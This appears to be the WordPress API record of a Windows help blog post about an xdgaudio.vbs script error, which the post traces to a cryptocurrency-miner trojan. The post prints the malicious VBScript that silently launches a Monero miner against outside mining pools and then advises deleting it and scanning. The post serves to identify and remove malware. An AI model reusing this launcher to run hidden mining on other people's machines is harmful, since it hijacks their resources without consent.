{"id":5488,"date":"2017-10-12T19:14:05","date_gmt":"2017-10-12T13:44:05","guid":{"rendered":"http:\/\/198.58.113.91\/blog\/?p=5488"},"modified":"2019-06-22T02:31:12","modified_gmt":"2019-06-22T02:31:12","slug":"xdgaudio-vbs-80070002-malware","status":"publish","type":"post","link":"https:\/\/www.winhelponline.com\/blog\/xdgaudio-vbs-80070002-malware\/","title":{"rendered":"Error 80070002 xdgaudio.vbs cannot find the file specified?"},"content":{"rendered":"

If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.<\/p>\n

\"xdgaudio.vbs<\/p>\n

Script:    C:\\windows\\xdgaudio.vbs
\nLine:    3
\nChar:    1
\nError:    The system cannot find the file specified.
\nCode:    80070002
\nSource:     (null)<\/div>\n

When edited with Notepad, the script may contain lines such as below:<\/p>\n

Dim WShell\r\nSet WShell = CreateObject(\"WScript.Shell\")\r\nWShell.Run \"wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp:\/\/xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp:\/\/mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x\", 0\r\nSet WShell = Nothing<\/code><\/pre>\n
This certainly looks like a CPU \/ cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\\windows\\xdgaudio.vbs<\/strong> and c:\\windows\\servicecrsssr.vbs<\/strong> should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware, and also scan with the antivirus software you’re using.<\/p>\n
For a detailed instructions on removing such Miner Trojan, check out malwaretips.com guide How to remove CPU Miner Trojan from Windows (Virus Help Guide)<\/a><\/em>.<\/p>\n","protected":false},"excerpt":{"rendered":"
If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[7],"tags":[191],"class_list":["post-5488","post","type-post","status-publish","format-standard","hentry","category-windows","tag-error-messages"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":76808,"url":"https:\/\/www.winhelponline.com\/blog\/internal-powershell-error-80070002\/","url_meta":{"origin":5488,"position":0},"title":"[Fix] Internal Windows PowerShell error 80070002","author":"Ramesh","date":"October 18, 2024","format":false,"excerpt":"When you open Windows Terminal (PowerShell), the following error may occur: Internal Windows PowerShell error. Loading managed Windows PowerShell failed with error 80070002. If you run PowerShell.exe, the window may close abruptly. RELATED: PowerShell Closes Immediately When Launched; Machine.Config Parser Error Cause This happens if the file \"Microsoft.PowerShell.ConsoleHost.dll\" is missing\u2026","rel":"","context":"In "Windows 10"","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":54263,"url":"https:\/\/www.winhelponline.com\/blog\/windows-script-host-error-run-vbs\/","url_meta":{"origin":5488,"position":1},"title":"Windows Script Host error in AppData\\Local\\Updates\\Run.vbs. The System cannot find the file specified","author":"Ramesh","date":"June 17, 2023","format":false,"excerpt":"When you login to your account,\u00a0you may see a Windows Script Host error similar to the following: Windows Script Host Script: C:\\Users\\{username}\\AppData\\Local\\Updates\\Run.vbs Line: 31 Char: 1 Error: The system cannot find the file specified. Code: 80070002 Source: (null) Additionally, on some systems, you may see a WindowsService.exe popup window that\u2026","rel":"","context":"In "Windows 10"","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"windowsservice.exe malware","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/windowsservice-exe-pop-up.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/windowsservice-exe-pop-up.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/windowsservice-exe-pop-up.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/windowsservice-exe-pop-up.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":29438,"url":"https:\/\/www.winhelponline.com\/blog\/dism-error-2-start-servicing-process\/","url_meta":{"origin":5488,"position":2},"title":"DISM Error 2 While Attempting to Start the Servicing Process","author":"Ramesh","date":"October 23, 2022","format":false,"excerpt":"When you run the DISM utility in Windows to clean up the component store or repair Windows system files, error 2 (0x80070002 - ERROR_FILE_NOT_FOUND) may appear: Deployment Image Servicing and Management tool Version: 10.0.22621.1 Error: 2 An error occurred while attempting to start the servicing process for the image located\u2026","rel":"","context":"In "Windows 10"","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"80070002 dism error 2","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/10\/dism-error-2.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/10\/dism-error-2.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/10\/dism-error-2.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]},{"id":55748,"url":"https:\/\/www.winhelponline.com\/blog\/powershell-closes-machine-config-parser-error\/","url_meta":{"origin":5488,"position":3},"title":"PowerShell Closes Immediately When Launched; Machine.Config Parser Error","author":"Ramesh","date":"June 23, 2023","format":false,"excerpt":"When you run PowerShell.exe, the PowerShell window may open and close immediately before you can read the error message. Running PowerShell.exe from an existing Command Prompt window, or opening PowerShell via Windows Terminal may show the error message: The shell cannot be started. A failure occurred during initialization: The type\u2026","rel":"","context":"In "Windows 10"","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"machine.config fix file","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/machine.config_parser_error_fix_cmd.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/machine.config_parser_error_fix_cmd.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/machine.config_parser_error_fix_cmd.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2023\/06\/machine.config_parser_error_fix_cmd.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":8664,"url":"https:\/\/www.winhelponline.com\/blog\/error-specified-file-not-registry-script-cannot-import-file-regedit\/","url_meta":{"origin":5488,"position":4},"title":"[Fix] Cannot import file: The specified file is not a registry script","author":"Ramesh","date":"April 15, 2019","format":false,"excerpt":"When you try to import a registry file (.reg) by double-clicking it or by using the Import option from within the Registry Editor, the following error occurs. As a result, the .reg file is not imported. Registry Editor Cannot import filename.reg: The specified file is not a registry script. You\u2026","rel":"","context":"In "Windows"","block_context":{"text":"Windows","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/"},"img":{"alt_text":"specified file is not a registry script","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/04\/regedit-import-error-binary-files-blank-space.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/04\/regedit-import-error-binary-files-blank-space.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/04\/regedit-import-error-binary-files-blank-space.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2019\/04\/regedit-import-error-binary-files-blank-space.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":26807,"url":"https:\/\/www.winhelponline.com\/blog\/error-0x800f0922-print-pdf-xps-writer\/","url_meta":{"origin":5488,"position":5},"title":"(Solved) Microsoft Print to PDF Error 0x800f0922","author":"Ramesh","date":"July 6, 2022","format":false,"excerpt":"We saw in detail how to reinstall the Microsoft Print to PDF printer in Windows 10 or 11. During the process, some users have encountered the error 0x800f0922 no matter which method they used (DISM, PowerShell, the \"Add a Printer\" wizard, or the Windows Features GUI) to install the driver.\u2026","rel":"","context":"In "Windows 10"","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"add printer - pdf error - file not found","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/07\/add-printer-pdf-error.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/07\/add-printer-pdf-error.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2022\/07\/add-printer-pdf-error.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]}],"_links":{"self":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/5488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/comments?post=5488"}],"version-history":[{"count":0,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/5488\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/media?parent=5488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/categories?post=5488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/tags?post=5488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}